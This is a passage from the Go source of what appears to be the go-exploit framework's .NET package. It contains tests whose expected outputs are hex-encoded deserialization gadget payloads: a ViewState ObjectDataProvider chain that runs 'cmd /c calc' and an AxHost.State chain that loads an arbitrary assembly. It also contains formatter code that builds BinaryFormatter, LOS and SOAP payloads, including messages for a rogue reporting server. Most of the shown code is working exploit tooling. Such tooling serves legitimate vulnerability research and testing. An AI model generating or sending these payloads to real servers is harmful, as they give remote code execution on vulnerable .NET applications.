6443492b50453969616d566a6445526864474651636d39326157526c6369354e5a58526f6232525159584a68625756305a584a7a506a78544f6c4e30636d6c755a7a356a625751384c314d36553352796157356e506a78544f6c4e30636d6c755a7a34765979426a5957786a504339544f6c4e30636d6c755a7a34384c303969616d566a6445526864474651636d39326157526c6369354e5a58526f6232525159584a68625756305a584a7a506a777654324a715a574e30524746305956427962335a705a475679506a7776556d567a623356795932564561574e306157397559584a35506773464a64682f48794e4c72375a484339704164627343734e6b6d56747858447a4a50687743786e6b683178673d3d\" {\n\t\tt.Fatalf(\"Invalid CreateViewstatePayload output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestCreateAxHostStateDLL(t *testing.T) {\n\tgot, ok := CreateAxHostStateDLL([]byte(\"nonsense\"), LOSFormatter) // generate using our own dotnet generator\n\tif !ok {\n\t\tt.Fatal(\"Could not generate payload\")\n\t}\n\tif !ok || fmt.Sprintf(\"%02x\", got) != \"ff0132903d0001000000ffffffff01000000000000000c020000005753797374656d2e57696e646f77732e466f726d732c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000002153797374656d2e57696e646f77732e466f726d732e4178486f73742b5374617465010000001150726f706572747942616742696e61727907020200000009030000000f03000000cf1d0000020001000000ffffffff010000000000000004010000007f53797374656d2e436f6c6c656374696f6e732e47656e657269632e4c69737460315b5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d03000000065f6974656d73055f73697a65085f76657273696f6e050000080809020000000a0000000a0000001002000000100000000903000000090400000009050000000906000000090700000009080000000909000000090a000000090b000000090c0000000d0607030000000101000000010000000702090d0000000c0e0000006153797374656d2e576f726b666c6f772e436f6d706f6e656e744d6f64656c2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d3331626633383536616433363465333505040000006a53797374656d2e576f726b666c6f772e436f6d706f6e656e744d6f64656c2e53657269616c697a6174696f6e2e4163746976697479537572726f6761746553656c6563746f722b4f626a656374537572726f676174652b4f626a65637453657269616c697a65645265660200000004747970650b6d656d626572446174617303051f53797374656d2e556e69747953657269616c697a6174696f6e486f6c6465720e000000090f0000000910000000010500000004000000091100000009120000000106000000040000000913000000091400000001070000000400000009150000000916000000010800000004000000091700000009180000000109000000040000000919000000091a000000010a00000004000000091b000000091c000000010b00000004000000091d000000091e000000040c0000001c53797374656d2e436f6c6c656374696f6e732e486173687461626c65070000000a4c6f6164466163746f720756657273696f6e08436f6d70617265721048617368436f646550726f7669646572084861736853697a65044b6579730656616c756573000003030005050b081c53797374656d2e436f6c6c656374696f6e732e49436f6d70617265722453797374656d2e436f6c6c656374696f6e732e4948617368436f646550726f766964657208ec51383f020000000a0a03000000091f00000009200000000f0d00000008000000026e6f6e73656e7365040f0000001f53797374656d2e556e69747953657269616c697a6174696f6e486f6c64657203000000044461746109556e697479547970650c417373656d626c794e616d65010001080621000000fe0153797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e427974655b5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000006220000004e53797374656d2e436f72652c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383910100000000700000009030000000a09240000000a0808000000000a08080100000001110000000f0000000625000000f50253797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010120000000700000009040000000a09280000000a0808000000000a08080100000001130000000f0000000629000000df0353797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010140000000700000009050000000a092c0000000a0808000000000a08080100000001150000000f000000062d000000e60253797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000009220000001016000000070000000906000000093000000009310000000a0808000000000a08080100000001170000000f0000000632000000ef0153797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010180000000700000009070000000a09350000000a0808000000000a08080100000001190000000f00000006360000002953797374656d2e5765622e55492e576562436f6e74726f6c732e506167656444617461536f757263650400000006370000004d53797374656d2e5765622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62303366356637663131643530613361101a00000007000000090800000008080000000008080a000000080100080100080100080800000000011b0000000f00000006390000002953797374656d2e436f6d706f6e656e744d6f64656c2e44657369676e2e44657369676e65725665726204000000063a0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839101c000000050000000d02093b000000080803000000090b000000011d0000000f000000063d0000003453797374656d2e52756e74696d652e52656d6f74696e672e4368616e6e656c732e41676772656761746544696374696f6e61727904000000063e0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839101e000000010000000909000000101f00000002000000090a000000090a000000102000000002000000064100000000094100000004240000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572020000000844656c6567617465076d6574686f643003033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465720942000000094300000001280000002400000009440000000945000000012c000000240000000946000000094700000001300000002400000009480000000949000000013100000024000000094a000000094b000000013500000024000000094c000000094d000000013b00000004000000094e000000094f00000004420000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472790650000000d50153797374656d2e46756e6360325b5b53797374656d2e427974655b5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e00000006520000001a53797374656d2e5265666c656374696f6e2e417373656d626c790653000000044c6f61640a04430000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d0953000000093e000000095200000006560000002753797374656d2e5265666c656374696f6e2e417373656d626c79204c6f616428427974655b5d2906570000002e53797374656d2e5265666c656374696f6e2e417373656d626c79204c6f61642853797374656d2e427974655b5d29080000000a0144000000420000000658000000cc0253797374656d2e46756e6360325b5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000952000000065b0000000847657454797065730a014500000043000000095b000000093e0000000952000000065e0000001853797374656d2e547970655b5d2047657454797065732829065f0000001853797374656d2e547970655b5d2047657454797065732829080000000a0146000000420000000660000000b60353797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000662000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d06630000000d476574456e756d657261746f720a0147000000430000000963000000093e000000096200000006660000004553797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b53797374656d2e547970655d20476574456e756d657261746f7228290667000000940153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d20476574456e756d657261746f722829080000000a0148000000420000000668000000c00253797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e426f6f6c65616e2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e000000066a0000001e53797374656d2e436f6c6c656374696f6e732e49456e756d657261746f72066b000000084d6f76654e6578740a014900000043000000096b000000093e000000096a000000066e00000012426f6f6c65616e204d6f76654e6578742829066f0000001953797374656d2e426f6f6c65616e204d6f76654e6578742829080000000a014a000000420000000670000000bd0253797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000672000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d06730000000b6765745f43757272656e740a014b000000430000000973000000093e000000097200000006760000001953797374656d2e54797065206765745f43757272656e74282906770000001953797374656d2e54797065206765745f43757272656e742829080000000a014c000000420000000678000000c60153797374656d2e46756e6360325b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e000000067a0000001053797374656d2e416374697661746f72067b0000000e437265617465496e7374616e63650a014d00000043000000097b000000093e000000097a000000067e0000002953797374656d2e4f626a65637420437265617465496e7374616e63652853797374656d2e5479706529067f0000002953797374656d2e4f626a65637420437265617465496e7374616e63652853797374656d2e5479706529080000000a014e0000000f00000006800000002653797374656d2e436f6d706f6e656e744d6f64656c2e44657369676e2e436f6d6d616e64494404000000093a000000104f00000002000000098200000008080020000004820000000b53797374656d2e477569640b000000025f61025f62025f63025f64025f65025f66025f67025f68025f69025f6a025f6b000000000000000000000008070702020202020202021313d274ee2ad1118bfb00a0c90f26f70b0b\" {\n\t\tt.Fatalf(\"Invalid CreateAxHostStateDLL output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n\nfunc TestPrimToString(t *testing.T) {\n\tgot := PrimitiveInt16(10990).PrimToString() //  expected hex ref ee\n\tif fmt.Sprintf(\"%02x\", got) != \"ee2a\" {\n\t\tt.Fatalf(\"Invalid PrimToString output... val: %q hexform: %02x\\n\", got, got)\n\t}\n}\n"
  },
  {
    "path": "dotnet/formatters.go",
    "content": "//nolint:musttag\npackage dotnet\n\nimport (\n\t_ \"embed\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n//go:embed data/ReturnMessage.xml\nvar returnMessageSnippet string\n\nconst (\n\tLOSFormatter                = \"LOSFormatter\"\n\tBinaryFormatter             = \"BinaryFormatter\"\n\tSOAPFormatter               = \"SOAPFormatter\"\n\tSOAPFormatterWithExceptions = \"SOAPFormatterWithExceptions\"\n)\n\nfunc FormatLOS(input string) string {\n\tmarker := \"\\xff\"\n\tversion := \"\\x01\"\n\ttoken := string(byte(50))\n\n\treturn marker + version + token + lengthPrefixedString(input)\n}\n\n// SOAP Formatter types and funcs.\n\ntype SOAPEnvelope struct {\n\tXMLName xml.Name `xml:\"SOAP-ENV:Envelope\"` // Specify the XML name with namespace\n\tBody    Body     `xml:\"SOAP-ENV:Body\"`     // Nested struct for Body\n\n\tXsi           string `xml:\"xmlns:xsi,attr\"`\n\tXsd           string `xml:\"xmlns:xsd,attr\"`\n\tSoapEnc       string `xml:\"xmlns:SOAP-ENC,attr\"`\n\tSoapEnv       string `xml:\"xmlns:SOAP-ENV,attr\"`\n\tClr           string `xml:\"xmlns:clr,attr\"`\n\tEncodingStyle string `xml:\"SOAP-ENV:encodingStyle,attr\"`\n}\n\ntype Body struct {\n\tClasses []any\n}\n\ntype ClassDataNode struct { // dynamic element, needs everything defined manually\n\tXMLName     xml.Name\n\tID          string     `xml:\"id,attr\"`\n\tAttrs       []xml.Attr `xml:\",attr\"`\n\tContent     string     `xml:\",chardata\"`\n\tMemberNodes []any\n}\n\ntype MemberNode struct {\n\tXMLName xml.Name\n\tID      string     `xml:\"id,attr,omitempty\"`\n\tHREF    string     `xml:\"href,attr,omitempty\"`\n\tXsiType string     `xml:\"xsi:type,attr,omitempty\"`\n\tXsiNull string     `xml:\"xsi:null,attr,omitempty\"`\n\tContent string     `xml:\",innerxml\"`\n\tAttrs   []xml.Attr `xml:\",attr\"`\n}\n\nfunc (memberNode *MemberNode) addAttribute(name string, value string) {\n\tmemberNode.Attrs = append(memberNode.Attrs, xml.Attr{\n\t\tName:  xml.Name{Local: name},\n\t\tValue: value,\n\t})\n}\n\nfunc (classData *ClassDataNode) addAttribute(name string, value string) {\n\tclassData.Attrs = append(classData.Attrs, xml.Attr{\n\t\tName:  xml.Name{Local: name},\n\t\tValue: value,\n\t})\n}\n\nfunc escapeTags(input string) string {\n\t// escaping only < and >, without this it encodes more than we'd like. this may cause issues but will address as needed\n\tescaped := strings.ReplaceAll(input, \"<\", \"&lt;\")\n\n\treturn strings.ReplaceAll(escaped, \">\", \"&gt;\")\n}\n\nfunc (body *Body) addClassWithMemberAndTypes(n int, record ClassWithMembersAndTypesRecord) bool {\n\tbaseClassName := record.ClassInfo.GetBaseClassName()\n\n\tclassData := ClassDataNode{}\n\tns := fmt.Sprintf(\"a%d\", n)\n\tclassData.XMLName.Local = fmt.Sprintf(\"%s:%s\", ns, baseClassName)\n\tclassData.ID = fmt.Sprintf(\"ref-%d\", record.ClassInfo.ObjectID)                                                                               // id attr set\n\tlibURL := fmt.Sprintf(\"http://schemas.microsoft.com/clr/nsassem/%s/%s\", record.ClassInfo.GetLeadingClassName(), record.BinaryLibrary.Library) // xmlns:aN attr value\n\tclassData.addAttribute(\"xmlns:\"+ns, libURL)                                                                                                   //xmlns:aN attr set\n\t// add members to the classData, makes a new element for each member\n\tmemberCount := record.ClassInfo.MemberCount\n\tif memberCount != len(record.ClassInfo.MemberNames) || memberCount != len(record.MemberTypeInfo.BinaryTypes) {\n\t\toutput.PrintfFrameworkError(\"member count mismatch: memberNames %q , binaryTypes %q, memberCount %d\", record.ClassInfo.MemberNames, record.MemberTypeInfo.BinaryTypes, memberCount)\n\n\t\treturn false\n\t}\n\n\tfor memberN := range memberCount {\n\t\trecordMember, ok := record.MemberValues[memberN].(Record)\n\t\tif ok {\n\t\t\tmemberNode, ok := recordMember.ToXML(record.ClassInfo, record.MemberTypeInfo, record.BinaryLibrary, memberN, ns)\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed to process record into XML\")\n\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tclassData.MemberNodes = append(classData.MemberNodes, memberNode)\n\n\t\t\tcontinue\n\t\t}\n\n\t\tintValue, ok := record.MemberValues[memberN].(int)\n\t\tif ok {\n\t\t\tmemberNode := MemberNode{}\n\t\t\tmemberNode.XMLName.Local = record.ClassInfo.MemberNames[memberN]\n\t\t\tmemberNode.Content = strconv.Itoa(intValue)\n\n\t\t\tclassData.MemberNodes = append(classData.MemberNodes, memberNode)\n\n\t\t\tcontinue\n\t\t}\n\n\t\tboolValue, ok := record.MemberValues[memberN].(bool)\n\t\tif ok {\n\t\t\tmemberNode := MemberNode{}\n\t\t\tmemberNode.XMLName.Local = record.ClassInfo.MemberNames[memberN]\n\t\t\tmemberNode.Content = strconv.FormatBool(boolValue)\n\n\t\t\tclassData.MemberNodes = append(classData.MemberNodes, memberNode)\n\n\t\t\tcontinue\n\t\t}\n\n\t\toutput.PrintFrameworkError(\"Invalid or unsupported member value provided\")\n\t}\n\n\t// wrapping it up\n\tbody.Classes = append(body.Classes, classData)\n\n\treturn true\n}\n\nfunc FormatSOAP(records []Record) (string, SOAPEnvelope, bool) {\n\tenvelope := SOAPEnvelope{\n\t\tXsi:           \"http://www.w3.org/2001/XMLSchema-instance\",\n\t\tXsd:           \"http://www.w3.org/2001/XMLSchema\",\n\t\tSoapEnc:       \"http://schemas.xmlsoap.org/soap/encoding/\",\n\t\tSoapEnv:       \"http://schemas.xmlsoap.org/soap/envelope/\",\n\t\tClr:           \"http://schemas.microsoft.com/soap/encoding/clr/1.0\",\n\t\tEncodingStyle: \"http://schemas.xmlsoap.org/soap/encoding/\",\n\t}\n\n\tbody := Body{}\n\n\tfor n, record := range records {\n\t\tarraySingleStringRecord, ok := record.(ArraySinglePrimitiveRecord)\n\t\tif ok {\n\t\t\tarrayClassDataNode, _ := arraySingleStringRecord.ToXMLBespoke()\n\t\t\tbody.Classes = append(body.Classes, arrayClassDataNode)\n\t\t}\n\t\tclassWithMembersAndTypes, ok := record.(ClassWithMembersAndTypesRecord)\n\t\tif ok {\n\t\t\tif !body.addClassWithMemberAndTypes(n+1, classWithMembersAndTypes) {\n\t\t\t\treturn \"\", SOAPEnvelope{}, false\n\t\t\t}\n\t\t}\n\t\tsystemClassWithMembersAndTypes, ok := record.(SystemClassWithMembersAndTypesRecord)\n\t\tif ok {\n\t\t\tmscorlib := \"mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n\t\t\t// convert it to the non-system  because it's basically the same thing but soap format needs a library\n\t\t\tbinLib := BinaryLibraryRecord{Library: mscorlib} // hardcoded lib, don't need an ID because it won't get used\n\t\t\ttempClassRecord := ClassWithMembersAndTypesRecord{\n\t\t\t\tClassInfo:      systemClassWithMembersAndTypes.ClassInfo,\n\t\t\t\tMemberTypeInfo: systemClassWithMembersAndTypes.MemberTypeInfo,\n\t\t\t\tMemberValues:   systemClassWithMembersAndTypes.MemberValues,\n\t\t\t\tBinaryLibrary:  binLib,\n\t\t\t}\n\t\t\tif !body.addClassWithMemberAndTypes(n+1, tempClassRecord) {\n\t\t\t\treturn \"\", SOAPEnvelope{}, false\n\t\t\t}\n\t\t}\n\t}\n\n\tenvelope.Body = body\n\n\txmlData, err := xml.Marshal(envelope)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Error marshaling to XML: %s\", err)\n\n\t\treturn \"\", SOAPEnvelope{}, false\n\t}\n\n\toutput.PrintfFrameworkDebug(\"Generated via SOAPFormatter: %s\", string(xmlData))\n\n\treturn string(xmlData), envelope, true\n}\n\n// used for rogue reporting server SOAP messages.\nfunc FormatSOAPWithExceptions(records []Record) (string, bool) {\n\txmlData, _, ok := FormatSOAP(records)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\t// quick and dirty replace but it's a static string, so should be fine. we're just adding them as a member of the body\n\txmlData = strings.ReplaceAll(xmlData, \"<SOAP-ENV:Body>\", \"<SOAP-ENV:Body>\"+returnMessageSnippet)\n\n\treturn xmlData, true\n}\n"
  },
  {
    "path": "dotnet/general_types.go",
    "content": "package dotnet\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// Primitives are a data type that can be one of a few different types.\n// This implemented has been implementede on the ones that we have used so far.\n// These are generally added as additionalinfo when there is a BinaryTypeEnum value passed\n// as a member type for Primitive.\ntype Primitive interface {\n\tPrimToString() string\n}\n\ntype (\n\tPrimitiveInt16      int\n\tPrimitiveInt32      int\n\tPrimitiveByte       byte\n\tPrimitiveByteString string\n)\n\nfunc (me PrimitiveInt16) PrimToString() string {\n\treturn transform.PackLittleInt16(int(me))\n}\n\n// A placeholder for lesser-used objects such as Single\n// Whatever you give it, will be placed in the stream exactly as given\n// Can't just pass a string because it will get 'processed' as a lengthPrefixedString, this avoids that.\nfunc (me PrimitiveByteString) PrimToString() string {\n\treturn string(me)\n}\n\nfunc (me PrimitiveInt32) PrimToString() string {\n\treturn transform.PackLittleInt32(int(me))\n}\n\nfunc (me PrimitiveByte) PrimToString() string {\n\tb := []byte{byte(me)}\n\n\treturn string(b)\n}\n\n// Serialized objects are basically classes that are defined by a series of RecordTypes.\n// All existing record types are defined here though all are not used for our purposes.\n// ref https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32\nvar RecordTypeEnumMap = map[string]int{\n\t\"SerializedStreamHeader\":         0,\n\t\"ClassWithId\":                    1,\n\t\"SystemClassWithMembers\":         2,\n\t\"ClassWithMembers\":               3,\n\t\"SystemClassWithMembersAndTypes\": 4,\n\t\"ClassWithMembersAndTypes\":       5,\n\t\"BinaryObjectString\":             6,\n\t\"BinaryArray\":                    7,\n\t\"MemberPrimitiveTyped\":           8,\n\t\"MemberReference\":                9,\n\t\"ObjectNull\":                     10,\n\t\"MessageEnd\":                     11,\n\t\"BinaryLibrary\":                  12,\n\t\"ObjectNullMultiple256\":          13,\n\t\"ObjectNullMultiple\":             14,\n\t\"ArraySinglePrimitive\":           15,\n\t\"ArraySingleObject\":              16,\n\t\"ArraySingleString\":              17,\n\t\"MethodCall\":                     21,\n\t\"MethodReturn\":                   22,\n}\n\n// Binary type information that is used to define the type of each member of the class being defined.\nvar BinaryTypeEnumerationMap = map[string]int{\n\t\"Primitive\":      0, // Needs Add Info\n\t\"String\":         1,\n\t\"Object\":         2,\n\t\"SystemClass\":    3, // Needs Add Info\n\t\"Class\":          4, // Needs Add Info\n\t\"ObjectArray\":    5,\n\t\"StringArray\":    6,\n\t\"PrimitiveArray\": 7, // Needs Add Info\n}\n\n// The Primitive Type, must be added to additionalInfo array for each primitive class member that was defined in MemberTypes for a given object.\n// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4e77849f-89e3-49db-8fb9-e77ee4bc7214\nvar PrimitiveTypeEnum = map[string]int{\n\t\"Boolean\": 1,\n\t\"Byte\":    2,\n\t\"Char\":    3,\n\t// there is no 4 per https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4e77849f-89e3-49db-8fb9-e77ee4bc7214\n\t\"Decimal\":  5,\n\t\"Double\":   6,\n\t\"Int16\":    7,\n\t\"Int32\":    8,\n\t\"Int64\":    9,\n\t\"SByte\":    10,\n\t\"Single\":   11,\n\t\"TimeSpan\": 12,\n\t\"DateTime\": 13,\n\t\"UInt16\":   14,\n\t\"UInt32\":   15,\n\t\"UInt64\":   16,\n\t\"Null\":     17,\n\t\"String\":   18,\n}\n\n// Contains metadata about a class, used for ClassWithMembersAndTypesRecords and SystemClassWithMembersAndTypesRecords.\ntype ClassInfo struct {\n\tObjectID int\n\t// Needs to be length-prefixed when used\n\tName string\n\t// should match len(MemberNames)\n\tMemberCount int\n\t// Exactly what it sounds like.\n\tMemberNames []string\n}\n\n// Class library metadata, sometimes used as additionalinfo value to define the library a class belongs to.\n// This is used when a Class is a membervalue for another class.\ntype ClassTypeInfo struct {\n\tTypeName  string\n\tLibraryID int\n}\n\n// Defines the types and additional info about the members themselves. used for ClassWithMembersAndTypesRecords and SystemClassWithMembersAndTypesRecords\n// ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/aa509b5a-620a-4592-a5d8-7e9613e0a03e\ntype MemberTypeInfo struct {\n\tBinaryTypeEnums []int\n\tBinaryTypes     []string // for convenience not part of the 'official' data structure per MSDN\n\tAdditionalInfos []any\n}\n\n// Self-explanatory, checks if given BinaryTypeEnum expects additionalInfo so that the function can retrieve a value from that array.\nfunc needsAdditionalInfo(inType string) bool {\n\tswitch inType {\n\tcase \"Class\":\n\t\treturn true\n\tcase \"SystemClass\":\n\t\treturn true\n\tcase \"Primitive\":\n\t\treturn true\n\tcase \"PrimitiveArray\":\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// This is Basically a constructor to build MemberTypeInfo into a binary string as expected by the serialization format.\n// This uses a constructor because there is validation we want to perform such as length checking and ensuring the provided types are valid.\n// ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/aa509b5a-620a-4592-a5d8-7e9613e0a03e\nfunc getMemberTypeInfo(memberTypes []string, memberNames []string, additionalInfo []any) (MemberTypeInfo, bool) {\n\t// NOTE: the members param is just being used here for length validation since it's a separate object from the corresponding ClassInfo\n\tif len(memberNames) != len(memberTypes) {\n\t\toutput.PrintFrameworkError(\"Length mismatch between memberTypes and members in getMemberTypeInfo()\")\n\n\t\treturn MemberTypeInfo{}, 